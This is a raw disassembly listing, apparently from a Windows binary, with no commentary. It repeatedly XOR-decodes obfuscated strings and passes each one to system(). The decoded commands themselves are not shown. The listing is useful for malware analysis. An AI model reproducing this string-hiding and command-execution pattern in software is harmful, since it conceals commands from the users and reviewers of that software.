pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140063200
cmp r8d, 0x33
jge 0x140063334
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x140063300
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x12e8]
mov byte [rbp - 0x3b], 0
lea rcx, [rbp - 0x3b]
call fcn.140054640
mov r10, rax
cmp byte [rax + 0x1b], 0
je 0x1400634b4
xor r8d, r8d
cmp edi, 2
jl 0x140063475
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140063380
cmp r8d, 0x1c
jge 0x1400634b4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x140063480
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1ce8]
mov byte [rbp - 0x3a], 0
lea rcx, [rbp - 0x3a]
call fcn.140054730
mov r10, rax
cmp byte [rax + 0x28], 0
je 0x140063634
xor r8d, r8d
cmp edi, 2
jl 0x1400635f5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140063500
cmp r8d, 0x29
jge 0x140063634
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x29
jl 0x140063600
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1e98]
mov byte [rbp - 0x39], 0
lea rcx, [rbp - 0x39]
call fcn.140054760
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400637b4
xor r8d, r8d
cmp edi, 2
jl 0x140063775
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140063680
cmp r8d, 0x2d
jge 0x1400637b4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140063780
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2178]
mov byte [rbp - 0x38], 0
lea rcx, [rbp - 0x38]
call fcn.1400547a0
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x140063934
xor r8d, r8d
cmp edi, 2
jl 0x1400638f5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140063800
cmp r8d, 0x35
jge 0x140063934
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x35
jl 0x140063900
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1ec8]
mov byte [rbp - 0x37], 0
lea rcx, [rbp - 0x37]
call fcn.1400547e0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140063ab4
xor r8d, r8d
cmp edi, 2
jl 0x140063a75
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140063980
cmp r8d, 0x2d
jge 0x140063ab4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140063a80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x20d0]
mov byte [rbp - 0x36], 0
lea rcx, [rbp - 0x36]
call fcn.140054820
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x140063c34
xor r8d, r8d
cmp edi, 2
jl 0x140063bf5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140063b00
cmp r8d, 0x34
jge 0x140063c34
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x140063c00
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x17e0]
mov byte [rbp - 0x35], 0
lea rcx, [rbp - 0x35]
call fcn.140054850
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140063db4
xor r8d, r8d
cmp edi, 2
jl 0x140063d75
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140063c80
cmp r8d, 0x21
jge 0x140063db4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x140063d80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1f88]
mov byte [rbp - 0x34], 0
lea rcx, [rbp - 0x34]
call fcn.140054880
mov r10, rax
cmp byte [rax + 0x2f], 0
je 0x140063f34
cmp edi, 2
jl 0x140063eef
movdqa xmmword [rbp + 0x810], xmm11
xor edx, edx
mov r8d, dword [rbp + 0x810]
mov rcx, rax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x30
jl 0x140063e00
jmp 0x140063f34
mov r9, r10
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x30
jl 0x140063f00
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1ef8]
mov byte [rbp - 0x33], 0
lea rcx, [rbp - 0x33]
call fcn.1400547e0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400640b4
xor r8d, r8d
cmp edi, 2
jl 0x140064075
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140063f80
cmp r8d, 0x2d
jge 0x1400640b4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140064080
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2108]
mov byte [rbp - 0x32], 0
lea rcx, [rbp - 0x32]
call fcn.1400548b0
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x140064234
xor r8d, r8d
cmp edi, 2
jl 0x1400641f5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140064100
cmp r8d, 0x34
jge 0x140064234
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x140064200
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2140]
mov byte [rbp - 0x31], 0
lea rcx, [rbp - 0x31]
call fcn.140054820
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x1400643b4
xor r8d, r8d
cmp edi, 2
jl 0x140064375
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140064280
cmp r8d, 0x34
jge 0x1400643b4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x140064380
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1920]
mov byte [rbp - 0x30], 0
lea rcx, [rbp - 0x30]
call fcn.1400548e0
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x140064534
xor r8d, r8d
cmp edi, 2
jl 0x1400644f5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140064400
cmp r8d, 0x23
jge 0x140064534
movsxd r9, r8d
add r9, r10
